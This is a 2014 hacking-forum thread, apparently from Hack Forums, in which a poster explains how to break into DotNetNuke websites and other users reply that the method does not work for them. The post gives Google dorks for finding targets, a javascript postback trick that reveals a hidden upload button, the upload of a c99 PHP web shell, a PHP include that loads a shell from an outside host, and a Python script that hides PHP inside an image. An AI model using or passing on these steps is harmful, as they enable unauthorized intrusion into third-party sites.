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Tutorial Hacking Into Websites In Only Two Minutes Via The DNN Method - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: Tutorial Hacking Into Websites In Only Two Minutes Via The DNN Method (/showthread.php?tid=4384737) |
Tutorial Hacking Into Websites In Only Two Minutes Via The DNN Method - ronkelly1 - Aug 8, 2014 Hacking Into Websites In Only Two Minutes Via The DNN Method The DNN method is a very simple way to hack into websites, unlike SQL injection or XSS (Cross-site scripting) it does not require script or command injection. To implement this method you will need: Access to the internet Clipboard Python Notepad A jpg image A PHP shell in .txt format That is it Smile Google Dorks required: inurl:/tabid/36/language/en-US/Default.aspx inurl:fcklinkgallery.aspx inurl:/portals/0 Step One: Use the Google dorks, go to a search result an delete everything in the URL till it looks like http://example.com and then after it paste in Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx so the link looks like http://example.com/Providers/HtmlEditorP...llery.aspx and if you get to a Link Gallery that has three options, URL, page and file you can hack in. If it is a blank Link Gallery that only says 'use selected URL' it is not hackable. Step Two: Go to file, select it and wait for the file page to load. Step Three: Delete the url and enter: j a v a s c r i p t:__doPostBack(‘ctlURL$cmdUpload’,”) Without the spaces. This javascript will make a browse button visible. Step Four: Click on the browse button, download c99 shell or another PHP shell and upload it. Sometimes uploads of .php files will be blocked. Step Five: Getting around block Bypassing .php upload blocks: Upload your PHP shell to a web host and then make a .php file containing this code: <?php include ("http://linktophpshell.com/shell.php"); ?> Then make a full white .gif or .jpg image and make sure the gif/jpg and php file are all in the same directory. Then make a python script with this coding: file = open ('nameofgif.gif','rb').read() file += open ('nameofphpfile.php','rb').read() open ('newphpfile.php','wb').write(file) Then run both. It will create a valid .jpg image containing code to execute the php shell. Upload it to the server, scroll to where the .gif/.jpg you uploaded is located on the website and then the php shell control panel will open letting you do whatever you want. * - noname1012 - Aug 8, 2014 How do you get the Code javascript:__doPostBack(‘ctlURL$cmdUpload’,”)am i doing something wrong? * - Testboy333 - Aug 8, 2014 Does it work? Someone already tested it? x) * - Mutiny - Aug 8, 2014 I'm not understanding the part where you say delete the url and ente " javascript:__doPostBack(‘ctlURL$cmdUpload’,”) " I deleted the url, pasted it in and nothing happens |